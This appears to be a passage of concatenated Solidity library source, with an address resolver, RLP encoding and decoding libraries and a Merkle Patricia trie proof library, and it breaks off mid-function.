// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
/* Library Imports */
import { Lib_AddressManager } from "./Lib_AddressManager.sol";
/**
* @title Lib_AddressResolver
*/
abstract contract Lib_AddressResolver {
/*************
* Variables *
*************/
Lib_AddressManager public libAddressManager;
/***************
* Constructor *
***************/
/**
* @param _libAddressManager Address of the Lib_AddressManager.
*/
constructor(
address _libAddressManager
) {
libAddressManager = Lib_AddressManager(_libAddressManager);
}
/********************
* Public Functions *
********************/
/**
* Resolves the address associated with a given name.
* @param _name Name to resolve an address for.
* @return Address associated with the given name.
*/
function resolve(
string memory _name
)
public
view
returns (
address
)
{
return libAddressManager.getAddress(_name);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
/**
* @title Lib_RLPReader
* @dev Adapted from "RLPReader" by Hamdi Allam ([email protected]).
*/
library Lib_RLPReader {
/*************
* Constants *
*************/
uint256 constant internal MAX_LIST_LENGTH = 32;
/*********
* Enums *
*********/
enum RLPItemType {
DATA_ITEM,
LIST_ITEM
}
/***********
* Structs *
***********/
struct RLPItem {
uint256 length;
uint256 ptr;
}
/**********************
* Internal Functions *
**********************/
/**
* Converts bytes to a reference to memory position and length.
* @param _in Input bytes to convert.
* @return Output memory reference.
*/
function toRLPItem(
bytes memory _in
)
internal
pure
returns (
RLPItem memory
)
{
uint256 ptr;
assembly {
ptr := add(_in, 32)
}
return RLPItem({
length: _in.length,
ptr: ptr
});
}
/**
* Reads an RLP list value into a list of RLP items.
* @param _in RLP list value.
* @return Decoded RLP list items.
*/
function readList(
RLPItem memory _in
)
internal
pure
returns (
RLPItem[] memory
)
{
(
uint256 listOffset,
,
RLPItemType itemType
) = _decodeLength(_in);
require(
itemType == RLPItemType.LIST_ITEM,
"Invalid RLP list value."
);
// Solidity in-memory arrays can't be increased in size, but *can* be decreased in size by
// writing to the length. Since we can't know the number of RLP items without looping over
// the entire input, we'd have to loop twice to accurately size this array. It's easier to
// simply set a reasonable maximum list length and decrease the size before we finish.
RLPItem[] memory out = new RLPItem[](MAX_LIST_LENGTH);
uint256 itemCount = 0;
uint256 offset = listOffset;
while (offset < _in.length) {
require(
itemCount < MAX_LIST_LENGTH,
"Provided RLP list exceeds max list length."
);
(
uint256 itemOffset,
uint256 itemLength,
) = _decodeLength(RLPItem({
length: _in.length - offset,
ptr: _in.ptr + offset
}));
out[itemCount] = RLPItem({
length: itemLength + itemOffset,
ptr: _in.ptr + offset
});
itemCount += 1;
offset += itemOffset + itemLength;
}
// Decrease the array size to match the actual item count.
assembly {
mstore(out, itemCount)
}
return out;
}
/**
* Reads an RLP list value into a list of RLP items.
* @param _in RLP list value.
* @return Decoded RLP list items.
*/
function readList(
bytes memory _in
)
internal
pure
returns (
RLPItem[] memory
)
{
return readList(
toRLPItem(_in)
);
}
/**
* Reads an RLP bytes value into bytes.
* @param _in RLP bytes value.
* @return Decoded bytes.
*/
function readBytes(
RLPItem memory _in
)
internal
pure
returns (
bytes memory
)
{
(
uint256 itemOffset,
uint256 itemLength,
RLPItemType itemType
) = _decodeLength(_in);
require(
itemType == RLPItemType.DATA_ITEM,
"Invalid RLP bytes value."
);
return _copy(_in.ptr, itemOffset, itemLength);
}
/**
* Reads an RLP bytes value into bytes.
* @param _in RLP bytes value.
* @return Decoded bytes.
*/
function readBytes(
bytes memory _in
)
internal
pure
returns (
bytes memory
)
{
return readBytes(
toRLPItem(_in)
);
}
/**
* Reads an RLP string value into a string.
* @param _in RLP string value.
* @return Decoded string.
*/
function readString(
RLPItem memory _in
)
internal
pure
returns (
string memory
)
{
return string(readBytes(_in));
}
/**
* Reads an RLP string value into a string.
* @param _in RLP string value.
* @return Decoded string.
*/
function readString(
bytes memory _in
)
internal
pure
returns (
string memory
)
{
return readString(
toRLPItem(_in)
);
}
/**
* Reads an RLP bytes32 value into a bytes32.
* @param _in RLP bytes32 value.
* @return Decoded bytes32.
*/
function readBytes32(
RLPItem memory _in
)
internal
pure
returns (
bytes32
)
{
require(
_in.length <= 33,
"Invalid RLP bytes32 value."
);
(
uint256 itemOffset,
uint256 itemLength,
RLPItemType itemType
) = _decodeLength(_in);
require(
itemType == RLPItemType.DATA_ITEM,
"Invalid RLP bytes32 value."
);
uint256 ptr = _in.ptr + itemOffset;
bytes32 out;
assembly {
out := mload(ptr)
// Shift the bytes over to match the item size.
if lt(itemLength, 32) {
out := div(out, exp(256, sub(32, itemLength)))
}
}
return out;
}
/**
* Reads an RLP bytes32 value into a bytes32.
* @param _in RLP bytes32 value.
* @return Decoded bytes32.
*/
function readBytes32(
bytes memory _in
)
internal
pure
returns (
bytes32
)
{
return readBytes32(
toRLPItem(_in)
);
}
/**
* Reads an RLP uint256 value into a uint256.
* @param _in RLP uint256 value.
* @return Decoded uint256.
*/
function readUint256(
RLPItem memory _in
)
internal
pure
returns (
uint256
)
{
return uint256(readBytes32(_in));
}
/**
* Reads an RLP uint256 value into a uint256.
* @param _in RLP uint256 value.
* @return Decoded uint256.
*/
function readUint256(
bytes memory _in
)
internal
pure
returns (
uint256
)
{
return readUint256(
toRLPItem(_in)
);
}
/**
* Reads an RLP bool value into a bool.
* @param _in RLP bool value.
* @return Decoded bool.
*/
function readBool(
RLPItem memory _in
)
internal
pure
returns (
bool
)
{
require(
_in.length == 1,
"Invalid RLP boolean value."
);
uint256 ptr = _in.ptr;
uint256 out;
assembly {
out := byte(0, mload(ptr))
}
require(
out == 0 || out == 1,
"Lib_RLPReader: Invalid RLP boolean value, must be 0 or 1"
);
return out != 0;
}
/**
* Reads an RLP bool value into a bool.
* @param _in RLP bool value.
* @return Decoded bool.
*/
function readBool(
bytes memory _in
)
internal
pure
returns (
bool
)
{
return readBool(
toRLPItem(_in)
);
}
/**
* Reads an RLP address value into a address.
* @param _in RLP address value.
* @return Decoded address.
*/
function readAddress(
RLPItem memory _in
)
internal
pure
returns (
address
)
{
if (_in.length == 1) {
return address(0);
}
require(
_in.length == 21,
"Invalid RLP address value."
);
return address(readUint256(_in));
}
/**
* Reads an RLP address value into a address.
* @param _in RLP address value.
* @return Decoded address.
*/
function readAddress(
bytes memory _in
)
internal
pure
returns (
address
)
{
return readAddress(
toRLPItem(_in)
);
}
/**
* Reads the raw bytes of an RLP item.
* @param _in RLP item to read.
* @return Raw RLP bytes.
*/
function readRawBytes(
RLPItem memory _in
)
internal
pure
returns (
bytes memory
)
{
return _copy(_in);
}
/*********************
* Private Functions *
*********************/
/**
* Decodes the length of an RLP item.
* @param _in RLP item to decode.
* @return Offset of the encoded data.
* @return Length of the encoded data.
* @return RLP item type (LIST_ITEM or DATA_ITEM).
*/
function _decodeLength(
RLPItem memory _in
)
private
pure
returns (
uint256,
uint256,
RLPItemType
)
{
require(
_in.length > 0,
"RLP item cannot be null."
);
uint256 ptr = _in.ptr;
uint256 prefix;
assembly {
prefix := byte(0, mload(ptr))
}
if (prefix <= 0x7f) {
// Single byte.
return (0, 1, RLPItemType.DATA_ITEM);
} else if (prefix <= 0xb7) {
// Short string.
uint256 strLen = prefix - 0x80;
require(
_in.length > strLen,
"Invalid RLP short string."
);
return (1, strLen, RLPItemType.DATA_ITEM);
} else if (prefix <= 0xbf) {
// Long string.
uint256 lenOfStrLen = prefix - 0xb7;
require(
_in.length > lenOfStrLen,
"Invalid RLP long string length."
);
uint256 strLen;
assembly {
// Pick out the string length.
strLen := div(
mload(add(ptr, 1)),
exp(256, sub(32, lenOfStrLen))
)
}
require(
_in.length > lenOfStrLen + strLen,
"Invalid RLP long string."
);
return (1 + lenOfStrLen, strLen, RLPItemType.DATA_ITEM);
} else if (prefix <= 0xf7) {
// Short list.
uint256 listLen = prefix - 0xc0;
require(
_in.length > listLen,
"Invalid RLP short list."
);
return (1, listLen, RLPItemType.LIST_ITEM);
} else {
// Long list.
uint256 lenOfListLen = prefix - 0xf7;
require(
_in.length > lenOfListLen,
"Invalid RLP long list length."
);
uint256 listLen;
assembly {
// Pick out the list length.
listLen := div(
mload(add(ptr, 1)),
exp(256, sub(32, lenOfListLen))
)
}
require(
_in.length > lenOfListLen + listLen,
"Invalid RLP long list."
);
return (1 + lenOfListLen, listLen, RLPItemType.LIST_ITEM);
}
}
/**
* Copies the bytes from a memory location.
* @param _src Pointer to the location to read from.
* @param _offset Offset to start reading from.
* @param _length Number of bytes to read.
* @return Copied bytes.
*/
function _copy(
uint256 _src,
uint256 _offset,
uint256 _length
)
private
pure
returns (
bytes memory
)
{
bytes memory out = new bytes(_length);
if (out.length == 0) {
return out;
}
uint256 src = _src + _offset;
uint256 dest;
assembly {
dest := add(out, 32)
}
// Copy over as many complete words as we can.
for (uint256 i = 0; i < _length / 32; i++) {
assembly {
mstore(dest, mload(src))
}
src += 32;
dest += 32;
}
// Pick out the remaining bytes.
uint256 mask = 256 ** (32 - (_length % 32)) - 1;
assembly {
mstore(
dest,
or(
and(mload(src), not(mask)),
and(mload(dest), mask)
)
)
}
return out;
}
/**
* Copies an RLP item into bytes.
* @param _in RLP item to copy.
* @return Copied bytes.
*/
function _copy(
RLPItem memory _in
)
private
pure
returns (
bytes memory
)
{
return _copy(_in.ptr, 0, _in.length);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
pragma experimental ABIEncoderV2;
/**
* @title Lib_RLPWriter
* @author Bakaoh (with modifications)
*/
library Lib_RLPWriter {
/**********************
* Internal Functions *
**********************/
/**
* RLP encodes a byte string.
* @param _in The byte string to encode.
* @return The RLP encoded string in bytes.
*/
function writeBytes(
bytes memory _in
)
internal
pure
returns (
bytes memory
)
{
bytes memory encoded;
if (_in.length == 1 && uint8(_in[0]) < 128) {
encoded = _in;
} else {
encoded = abi.encodePacked(_writeLength(_in.length, 128), _in);
}
return encoded;
}
/**
* RLP encodes a list of RLP encoded byte byte strings.
* @param _in The list of RLP encoded byte strings.
* @return The RLP encoded list of items in bytes.
*/
function writeList(
bytes[] memory _in
)
internal
pure
returns (
bytes memory
)
{
bytes memory list = _flatten(_in);
return abi.encodePacked(_writeLength(list.length, 192), list);
}
/**
* RLP encodes a string.
* @param _in The string to encode.
* @return The RLP encoded string in bytes.
*/
function writeString(
string memory _in
)
internal
pure
returns (
bytes memory
)
{
return writeBytes(bytes(_in));
}
/**
* RLP encodes an address.
* @param _in The address to encode.
* @return The RLP encoded address in bytes.
*/
function writeAddress(
address _in
)
internal
pure
returns (
bytes memory
)
{
return writeBytes(abi.encodePacked(_in));
}
/**
* RLP encodes a bytes32 value.
* @param _in The bytes32 to encode.
* @return _out The RLP encoded bytes32 in bytes.
*/
function writeBytes32(
bytes32 _in
)
internal
pure
returns (
bytes memory _out
)
{
return writeBytes(abi.encodePacked(_in));
}
/**
* RLP encodes a uint.
* @param _in The uint256 to encode.
* @return The RLP encoded uint256 in bytes.
*/
function writeUint(
uint256 _in
)
internal
pure
returns (
bytes memory
)
{
return writeBytes(_toBinary(_in));
}
/**
* RLP encodes a bool.
* @param _in The bool to encode.
* @return The RLP encoded bool in bytes.
*/
function writeBool(
bool _in
)
internal
pure
returns (
bytes memory
)
{
bytes memory encoded = new bytes(1);
encoded[0] = (_in ? bytes1(0x01) : bytes1(0x80));
return encoded;
}
/*********************
* Private Functions *
*********************/
/**
* Encode the first byte, followed by the `len` in binary form if `length` is more than 55.
* @param _len The length of the string or the payload.
* @param _offset 128 if item is string, 192 if item is list.
* @return RLP encoded bytes.
*/
function _writeLength(
uint256 _len,
uint256 _offset
)
private
pure
returns (
bytes memory
)
{
bytes memory encoded;
if (_len < 56) {
encoded = new bytes(1);
encoded[0] = byte(uint8(_len) + uint8(_offset));
} else {
uint256 lenLen;
uint256 i = 1;
while (_len / i != 0) {
lenLen++;
i *= 256;
}
encoded = new bytes(lenLen + 1);
encoded[0] = byte(uint8(lenLen) + uint8(_offset) + 55);
for(i = 1; i <= lenLen; i++) {
encoded[i] = byte(uint8((_len / (256**(lenLen-i))) % 256));
}
}
return encoded;
}
/**
* Encode integer in big endian binary form with no leading zeroes.
* @notice TODO: This should be optimized with assembly to save gas costs.
* @param _x The integer to encode.
* @return RLP encoded bytes.
*/
function _toBinary(
uint256 _x
)
private
pure
returns (
bytes memory
)
{
bytes memory b = abi.encodePacked(_x);
uint256 i = 0;
for (; i < 32; i++) {
if (b[i] != 0) {
break;
}
}
bytes memory res = new bytes(32 - i);
for (uint256 j = 0; j < res.length; j++) {
res[j] = b[i++];
}
return res;
}
/**
* Copies a piece of memory to another location.
* @notice From: https://github.com/Arachnid/solidity-stringutils/blob/master/src/strings.sol.
* @param _dest Destination location.
* @param _src Source location.
* @param _len Length of memory to copy.
*/
function _memcpy(
uint256 _dest,
uint256 _src,
uint256 _len
)
private
pure
{
uint256 dest = _dest;
uint256 src = _src;
uint256 len = _len;
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint256 mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/**
* Flattens a list of byte strings into one byte string.
* @notice From: https://github.com/sammayo/solidity-rlp-encoder/blob/master/RLPEncode.sol.
* @param _list List of byte strings to flatten.
* @return The flattened byte string.
*/
function _flatten(
bytes[] memory _list
)
private
pure
returns (
bytes memory
)
{
if (_list.length == 0) {
return new bytes(0);
}
uint256 len;
uint256 i = 0;
for (; i < _list.length; i++) {
len += _list[i].length;
}
bytes memory flattened = new bytes(len);
uint256 flattenedPtr;
assembly { flattenedPtr := add(flattened, 0x20) }
for(i = 0; i < _list.length; i++) {
bytes memory item = _list[i];
uint256 listPtr;
assembly { listPtr := add(item, 0x20)}
_memcpy(flattenedPtr, listPtr, item.length);
flattenedPtr += _list[i].length;
}
return flattened;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
/* Library Imports */
import { Lib_BytesUtils } from "../utils/Lib_BytesUtils.sol";
import { Lib_RLPReader } from "../rlp/Lib_RLPReader.sol";
import { Lib_RLPWriter } from "../rlp/Lib_RLPWriter.sol";
/**
* @title Lib_MerkleTrie
*/
library Lib_MerkleTrie {
/*******************
* Data Structures *
*******************/
enum NodeType {
BranchNode,
ExtensionNode,
LeafNode
}
struct TrieNode {
bytes encoded;
Lib_RLPReader.RLPItem[] decoded;
}
/**********************
* Contract Constants *
**********************/
// TREE_RADIX determines the number of elements per branch node.
uint256 constant TREE_RADIX = 16;
// Branch nodes have TREE_RADIX elements plus an additional `value` slot.
uint256 constant BRANCH_NODE_LENGTH = TREE_RADIX + 1;
// Leaf nodes and extension nodes always have two elements, a `path` and a `value`.
uint256 constant LEAF_OR_EXTENSION_NODE_LENGTH = 2;
// Prefixes are prepended to the `path` within a leaf or extension node and
// allow us to differentiate between the two node types. `ODD` or `EVEN` is
// determined by the number of nibbles within the unprefixed `path`. If the
// number of nibbles if even, we need to insert an extra padding nibble so
// the resulting prefixed `path` has an even number of nibbles.
uint8 constant PREFIX_EXTENSION_EVEN = 0;
uint8 constant PREFIX_EXTENSION_ODD = 1;
uint8 constant PREFIX_LEAF_EVEN = 2;
uint8 constant PREFIX_LEAF_ODD = 3;
// Just a utility constant. RLP represents `NULL` as 0x80.
bytes1 constant RLP_NULL = bytes1(0x80);
bytes constant RLP_NULL_BYTES = hex'80';
bytes32 constant internal KECCAK256_RLP_NULL_BYTES = keccak256(RLP_NULL_BYTES);
/**********************
* Internal Functions *
**********************/
/**
* @notice Verifies a proof that a given key/value pair is present in the
* Merkle trie.
* @param _key Key of the node to search for, as a hex string.
* @param _value Value of the node to search for, as a hex string.
* @param _proof Merkle trie inclusion proof for the desired node. Unlike
* traditional Merkle trees, this proof is executed top-down and consists
* of a list of RLP-encoded nodes that make a path down to the target node.
* @param _root Known root of the Merkle trie. Used to verify that the
* included proof is correctly constructed.
* @return _verified `true` if the k/v pair exists in the trie, `false` otherwise.
*/
function verifyInclusionProof(
bytes memory _key,
bytes memory _value,
bytes memory _proof,
bytes32 _root
)
internal
pure
returns (
bool _verified
)
{
(
bool exists,
bytes memory value
) = get(_key, _proof, _root);
return (
exists && Lib_BytesUtils.equal(_value, value)
);
}
/**
* @notice Updates a Merkle trie and returns a new root hash.
* @param _key Key of the node to update, as a hex string.
* @param _value Value of the node to update, as a hex string.
* @param _proof Merkle trie inclusion proof for the node *nearest* the
* target node. If the key exists, we can simply update the value.
* Otherwise, we need to modify the trie to handle the new k/v pair.
* @param _root Known root of the Merkle trie. Used to verify that the
* included proof is correctly constructed.
* @return _updatedRoot Root hash of the newly constructed trie.
*/
function update(
bytes memory _key,
bytes memory _value,
bytes memory _proof,
bytes32 _root
)
internal
pure
returns (
bytes32 _updatedRoot
)
{
// Special case when inserting the very first node.
if (_root == KECCAK256_RLP_NULL_BYTES) {
return getSingleNodeRootHash(_key, _value);
}
TrieNode[] memory proof = _parseProof(_proof);
(uint256 pathLength, bytes memory keyRemainder, ) = _walkNodePath(proof, _key, _root);
TrieNode[] memory newPath = _getNewPath(proof, pathLength, _key, keyRemainder, _value);
return _getUpdatedTrieRoot(newPath, _key);
}
/**
* @notice Retrieves the value associated with a given key.
* @param _key Key to search for, as hex bytes.
* @param _proof Merkle trie inclusion proof for the key.
* @param _root Known root of the Merkle trie.
* @return _exists Whether or not the key exists.
* @return _value Value of the key if it exists.
*/
function get(
bytes memory _key,
bytes memory _proof,
bytes32 _root
)
internal
pure
returns (
bool _exists,
bytes memory _value
)
{
TrieNode[] memory proof = _parseProof(_proof);
(uint256 pathLength, bytes memory keyRemainder, bool isFinalNode) = _walkNodePath(proof, _key, _root);
bool exists = keyRemainder.length == 0;
require(
exists || isFinalNode,
"Provided proof is invalid."
);
bytes memory value = exists ? _getNodeValue(proof[pathLength - 1]) : bytes('');
return (
exists,
value
);
}
/**
* Computes the root hash for a trie with a single node.
* @param _key Key for the single node.
* @param _value Value for the single node.
* @return _updatedRoot Hash of the trie.
*/
function getSingleNodeRootHash(
bytes memory _key,
bytes memory _value
)
internal
pure
returns (
bytes32 _updatedRoot
)
{
return keccak256(_makeLeafNode(
Lib_BytesUtils.toNibbles(_key),
_value
).encoded);
}
/*********************
* Private Functions *
*********************/
/**
* @notice Walks through a proof using a provided key.
* @param _proof Inclusion proof to walk through.
* @param _key Key to use for the walk.
* @param _root Known root of the trie.
* @return _pathLength Length of the final path
* @return _keyRemainder Portion of the key remaining after the walk.
* @return _isFinalNode Whether or not we've hit a dead end.
*/
function _walkNodePath(
TrieNode[] memory _proof,
bytes memory _key,
bytes32 _root
)
private
pure
returns (
uint256 _pathLength,
bytes memory _keyRemainder,
bool _isFinalNode
)
{
uint256 pathLength = 0;
bytes memory key = Lib_BytesUtils.toNibbles(_key);
bytes32 currentNodeID = _root;
uint256 currentKeyIndex = 0;
uint256 currentKeyIncrement = 0;
TrieNode memory currentNode;
// Proof is top-down, so we start at the first element (root).
for (uint256 i = 0; i < _proof.length; i++) {
currentNode = _proof[i];
currentKeyIndex += currentKeyIncrement;
// Keep track of the proof elements we actually need.
// It's expensive to resize arrays, so this simply reduces gas costs.
pathLength += 1;
if (currentKeyIndex == 0) {
// First proof element is always the root node.
require(
keccak256(currentNode.encoded) == currentNodeID,
"Invalid root hash"
);
} else if (currentNode.encoded.length >= 32) {
// Nodes 32 bytes or larger are hashed inside branch nodes.
require(
keccak256(currentNode.encoded) == currentNodeID,
"Invalid large internal hash"
);
} else {
// Nodes smaller than 31 bytes aren't hashed.
require(
Lib_BytesUtils.toBytes32(currentNode.encoded) == currentNodeID,
"Invalid internal node hash"
);
}
if (currentNode.decoded.length == BRANCH_NODE_LENGTH) {
if (currentKeyIndex == key.length) {
// We've hit the end of the key, meaning the value should be within this branch node.
break;
} else {
// We're not at the end of the key yet.
// Figure out what the next node ID should be and continue.
uint8 branchKey = uint8(key[currentKeyIndex]);
Lib_RLPReader.RLPItem memory nextNode = currentNode.decoded[branchKey];
currentNodeID = _getNodeID(nextNode);
currentKeyIncrement = 1;
continue;
}
} else if (currentNode.decoded.length == LEAF_OR_EXTENSION_NODE_LENGTH) {
bytes memory path = _getNodePath(currentNode);
uint8 prefix = uint8(path[0]);
uint8 offset = 2 - prefix % 2;
bytes memory pathRemainder = Lib_BytesUtils.slice(path, offset);
bytes memory keyRemainder = Lib_BytesUtils.slice(key, currentKeyIndex);
uint256 sharedNibbleLength = _getSharedNibbleLength(pathRemainder, keyRemainder);
if (prefix == PREFIX_LEAF_EVEN || prefix == PREFIX_LEAF_ODD) {
if (
pathRemainder.length == sharedNibbleLength &&
keyRemainder.length == sharedNibbleLength
) {
// The key within this leaf matches our key exactly.
// Increment the key index to reflect that we have no remainder.
currentKeyIndex += sharedNibbleLength;
}
// We've hit a leaf node, so our next node should be NULL.
currentNodeID = bytes32(RLP_NULL);
break;
} else if (prefix == PREFIX_EXTENSION_EVEN || prefix == PREFIX_EXTENSION_ODD) {
if (sharedNibbleLength != pathRemainder.length) {
// Our extension node is not identical to the remainder.
// We've hit the end of this path, updates will need to modify this extension.
currentNodeID = bytes32(RLP_NULL);
break;
} else {
// Our extension shares some nibbles.
// Carry on to the next node.
currentNodeID = _getNodeID(currentNode.decoded[1]);
currentKeyIncrement = sharedNibbleLength;
continue;
}
} else {
revert("Received a node with an unknown prefix");
}
} else {
revert("Received an unparseable node.");
}
}
// If our node ID is NULL, then we're at a dead end.
bool isFinalNode = currentNodeID == bytes32(RLP_NULL);
return (pathLength, Lib_BytesUtils.slice(key, currentKeyIndex), isFinalNode);
}
/**
* @notice Creates new nodes to support a k/v pair insertion into a given Merkle trie path.
* @param _path Path to the node nearest the k/v pair.
* @param _pathLength Length of the path. Necessary because the provided path may include
* additional nodes (e.g., it comes directly from a proof) and we can't resize in-memory
* arrays without costly duplication.
* @param _key Full original key.
* @param _keyRemainder Portion of the initial key that must be inserted into the trie.
* @param _value Value to insert at the given key.
* @return _newPath A new path with the inserted k/v pair and extra supporting nodes.
*/
function _getNewPath(
TrieNode[] memory _path,
uint256 _pathLength,
bytes memory _key,
bytes memory _keyRemainder,
bytes memory _value
)
private
pure
returns (
TrieNode[] memory _newPath
)
{
bytes memory keyRemainder = _keyRemainder;
// Most of our logic depends on the status of the last node in the path.
TrieNode memory lastNode = _path[_pathLength - 1];
NodeType lastNodeType = _getNodeType(lastNode);
// Create an array for newly created nodes.
// We need up to three new nodes, depending on the contents of the last node.
// Since array resizing is expensive, we'll keep track of the size manually.
// We're using an explicit `totalNewNodes += 1` after insertions for clarity.
TrieNode[] memory newNodes = new TrieNode[](3);
uint256 totalNewNodes = 0;
// Reference: https://github.com/ethereumjs/merkle-patricia-tree/blob/c0a10395aab37d42c175a47114ebfcbd7efcf059/src/baseTrie.ts#L294-L313
bool matchLeaf = false;
if (lastNodeType == NodeType.LeafNode) {
uint256 l = 0;
if (_path.length > 0) {
for (uint256 i = 0; i < _path.length - 1; i++) {
if (_getNodeType(_path[i]) == NodeType.BranchNode) {
l++;
} else {
l += _getNodeKey(_path[i]).length;
}
}
}
if (
_getSharedNibbleLength(
_getNodeKey(lastNode),
Lib_BytesUtils.slice(Lib_BytesUtils.toNibbles(_key), l)
) == _getNodeKey(lastNode).length
&& keyRemainder.length == 0
) {
matchLeaf = true;
}
}
if (matchLeaf) {
// We've found a leaf node with the given key.
// Simply need to update the value of the node to match.
newNodes[totalNewNodes] = _makeLeafNode(_getNodeKey(lastNode), _value);
totalNewNodes += 1;
} else if (lastNodeType == NodeType.BranchNode) {
if (keyRemainder.length == 0) {
// We've found a branch node with the given key.
// Simply need to update the value of the node to match.
newNodes[totalNewNodes] = _editBranchValue(lastNode, _value);
totalNewNodes += 1;
} else {
// We've found a branch node, but it doesn't contain our key.
// Reinsert the old branch for now.
newNodes[totalNewNodes] = lastNode;
totalNewNodes += 1;
// Create a new leaf node, slicing our remainder since the first byte points
// to our branch node.
newNodes[totalNewNodes] = _makeLeafNode(Lib_BytesUtils.slice(keyRemainder, 1), _value);
totalNewNodes += 1;
}
} else {
// Our last node is either an extension node or a leaf node with a different key.
bytes memory lastNodeKey = _getNodeKey(lastNode);
uint256 sharedNibbleLength = _getSharedNibbleLength(lastNodeKey, keyRemainder);
if (sharedNibbleLength != 0) {
// We've got some shared nibbles between the last node and our key remainder.
// We'll need to insert an extension node that covers these shared nibbles.
bytes memory nextNodeKey = Lib_BytesUtils.slice(lastNodeKey, 0, sharedNibbleLength);
newNodes[totalNewNodes] = _makeExtensionNode(nextNodeKey, _getNodeHash(_value));
totalNewNodes += 1;
// Cut down the keys since we've just covered these shared nibbles.
lastNodeKey = Lib_BytesUtils.slice(lastNodeKey, sharedNibbleLength);
keyRemainder = Lib_BytesUtils.slice(keyRemainder, sharedNibbleLength);
}
// Create an empty branch to fill in.
TrieNode memory newBranch = _makeEmptyBranchNode();
if (lastNodeKey.length == 0) {
// Key remainder was larger than the key for our last node.
// The value within our last node is therefore going to be shifted into
// a branch value slot.
newBranch = _editBranchValue(newBranch, _getNodeValue(lastNode));
} else {
// Last node key was larger than the key remainder.
// We're going to modify some index of our branch.
uint8 branchKey = uint8(lastNodeKey[0]);
// Move on to the next nibble.
lastNodeKey = Lib_BytesUtils.slice(lastNodeKey, 1);
if (lastNodeType == NodeType.LeafNode) {
// We're dealing with a leaf node.
// We'll modify the key and insert the old leaf node into the branch index.
TrieNode memory modifiedLastNode = _makeLeafNode(lastNodeKey, _getNodeValue(lastNode));
newBranch = _editBranchIndex(newBranch, branchKey, _getNodeHash(modifiedLastNode.encoded));
} else if (lastNodeKey.length != 0) {
// We're dealing with a shrinking extension node.
// We need to modify the node to decrease the size of the key.
TrieNode memory modifiedLastNode = _makeExtensionNode(lastNodeKey, _getNodeValue(lastNode));
newBranch = _editBranchIndex(newBranch, branchKey, _getNodeHash(modifiedLastNode.encoded));
} else {
// We're dealing with an unnecessary extension node.
// We're going to delete the node entirely.
// Simply insert its current value into the branch index.
newBranch = _editBranchIndex(newBranch, branchKey, _getNodeValue(lastNode));
}
}
if (keyRemainder.length == 0) {
// We've got nothing left in the key remainder.
// Simply insert the value into the branch value slot.
newBranch = _editBranchValue(newBranch, _value);
// Push the branch into the list of new nodes.
newNodes[totalNewNodes] = newBranch;
totalNewNodes += 1;
} else {
// We've got some key remainder to work with.
// We'll be inserting a leaf node into the trie.
// First, move on to the next nibble.
keyRemainder = Lib_BytesUtils.slice(keyRemainder, 1);
// Push the branch into the list of new nodes.
newNodes[totalNewNodes] = newBranch;
totalNewNodes += 1;
// Push a new leaf node for our k/v pair.
newNodes[totalNewNodes] = _makeLeafNode(keyRemainder, _value);
totalNewNodes += 1;
}
}
// Finally, join the old path with our newly created nodes.
// Since we're overwriting the last node in the path, we use `_pathLength - 1`.
return _joinNodeArrays(_path, _pathLength - 1, newNodes, totalNewNodes);
}
/**
* @notice Computes the trie root from a given path.
* @param _nodes Path to some k/v pair.
* @param _key Key for the k/v pair.
* @return _updatedRoot Root hash for the updated trie.
*/
function _getUpdatedTrieRoot(
TrieNode[] memory _nodes,
bytes memory _key
)
private
pure
returns (
bytes32 _updatedRoot
)
{
bytes memory key = Lib_BytesUtils.toNibbles(_key);
// Some variables to keep track of during iteration.
TrieNode memory currentNode;
NodeType currentNodeType;
bytes memory previousNodeHash;
// Run through the path backwards to rebuild our root hash.
for (uint256 i = _nodes.length; i > 0; i--) {
// Pick out the current node.
currentNode = _nodes[i - 1];
currentNodeType = _getNodeType(currentNode);
if (currentNodeType == NodeType.LeafNode) {
// Leaf nodes are already correctly encoded.
// Shift the key over to account for the nodes key.
bytes memory nodeKey = _getNodeKey(currentNode);
key = Lib_BytesUtils.slice(key, 0, key.length - nodeKey.length);
} else if (currentNodeType == NodeType.ExtensionNode) {
// Shift the key over to account for the nodes key.
bytes memory nodeKey = _getNodeKey(currentNode);
key = Lib_BytesUtils.slice(key, 0, key.length - nodeKey.length);
// If this node is the last element in the path, it'll be correctly encoded
// and we can skip this part.
if (previousNodeHash.length > 0) {
// Re-encode the node based on the previous node.
currentNode = _editExtensionNodeValue(currentNode, previousNodeHash);
}
} else if (currentNodeType == NodeType.BranchNode) {
// If this node is the last element in the path, it'll be correctly encoded
// and we can skip this part.
if (previousNodeHash.length > 0) {
// Re-encode the node based on the previous node.
uint8 branchKey = uint8(key[key.length - 1]);
key = Lib_BytesUtils.slice(key, 0, key.length - 1);
currentNode = _editBranchIndex(currentNode, branchKey, previousNodeHash);
}
}
// Compute the node hash for the next iteration.
previousNodeHash = _getNodeHash(currentNode.encoded);
}
// Current node should be the root at this point.
// Simply return the hash of its encoding.
return keccak256(currentNode.encoded);
}
/**
* @notice Parses an RLP-encoded proof into something more useful.
* @param _proof RLP-encoded proof to parse.
* @return _parsed Proof parsed into easily accessible structs.
*/
function _parseProof(
bytes memory _proof
)
private
pure
returns (
TrieNode[] memory _parsed
)
{
Lib_RLPReader.RLPItem[] memory nodes = Lib_RLPReader.readList(_proof);
TrieNode[] memory proof = new TrieNode[](nodes.length);
for (uint256 i = 0; i < nodes.length; i++) {
bytes memory encoded = Lib_RLPReader.readBytes(nodes[i]);
proof[i] = TrieNode({
encoded: encoded,
decoded: Lib_RLPReader.readList(encoded)
});
}
return proof;
}
/**
* @notice Picks out the ID for a node. Node ID is referred to as the
* "hash" within the specification, but nodes < 32 bytes are not actually
* hashed.
* @param _node Node to pull an ID for.
* @return _nodeID ID for the node, depending on the size of its contents.
*/
function _getNodeID(
Lib_RLPReader.RLPItem memory _node
)
private
pure
returns (
bytes32 _nodeID
)
{
bytes memory nodeID;
if (_node.length < 32) {
// Nodes smaller than 32 bytes are RLP encoded.
nodeID = Lib_RLPReader.readRawBytes(_node);
} else {
// Nodes 32 bytes or larger are hashed.
nodeID = Lib_RLPReader.readBytes(_node);
}
